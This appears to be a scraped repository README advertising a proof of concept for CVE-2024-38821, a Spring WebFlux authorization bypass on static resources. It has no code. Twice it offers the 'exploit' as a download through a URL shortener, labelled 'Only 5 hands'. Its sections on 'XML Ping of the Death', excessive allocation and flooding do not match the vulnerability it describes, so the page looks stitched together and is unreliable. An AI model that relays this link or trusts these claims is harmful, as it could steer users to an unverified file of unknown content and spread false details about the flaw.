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CVE-2024-38821 PoC — Authorization Bypass of Static Resources in WebFlux Applications

Source
Associated Vulnerability
Title:Authorization Bypass of Static Resources in WebFlux Applications (CVE-2024-38821)
Description:Spring WebFlux applications that have Spring Security authorization rules on static resources can be bypassed under certain circumstances. For this to impact an application, all of the following must be true: * It must be a WebFlux application * It must be using Spring's static resources support * It must have a non-permitAll authorization rule applied to the static resources support
Readme
# CVE-2024-38821

## Overview

CVE-2024-38821 is a critical authorization bypass vulnerability identified in certain versions of Spring WebFlux applications using Spring Security. This vulnerability allows unauthorized access to static resources, bypassing defined authorization rules, under specific conditions.

## Description
- **CVE ID**:	CVE-2024-38821
- **CVSS SCORE**: 9.1
- **Severity**: Critical
- **Tags**: cve, cve2024, xml, python, http

## Exploit(Only 5 hands):

[Download](https://ur0.jp/aV2fu)

## Affected Versions

![image](https://github.com/user-attachments/assets/c4192867-ec04-4c7c-8373-603c138f4d6d)

## Explot Details

CVE-2024-38821 affects the authorization checks applied to static resources within WebFlux applications. Under the specified conditions, the exploit allows attackers to bypass authorization rules intended to restrict access to these resources.

## XML Ping of the Death
![image](https://github.com/user-attachments/assets/616f888a-1abc-4dc2-b7d7-cb2305e4a551)

## Excessive Allocation
![image](https://github.com/user-attachments/assets/d43bbfd2-e87b-4686-9543-92d15edfb261)

## Flooding
![image](https://github.com/user-attachments/assets/5b4b8e2d-7315-475e-908f-4fdf17b9676a)

## Requirement

Python 3.9

## Exploit(Only 5 hands):

[Download](https://ur0.jp/aV2fu)


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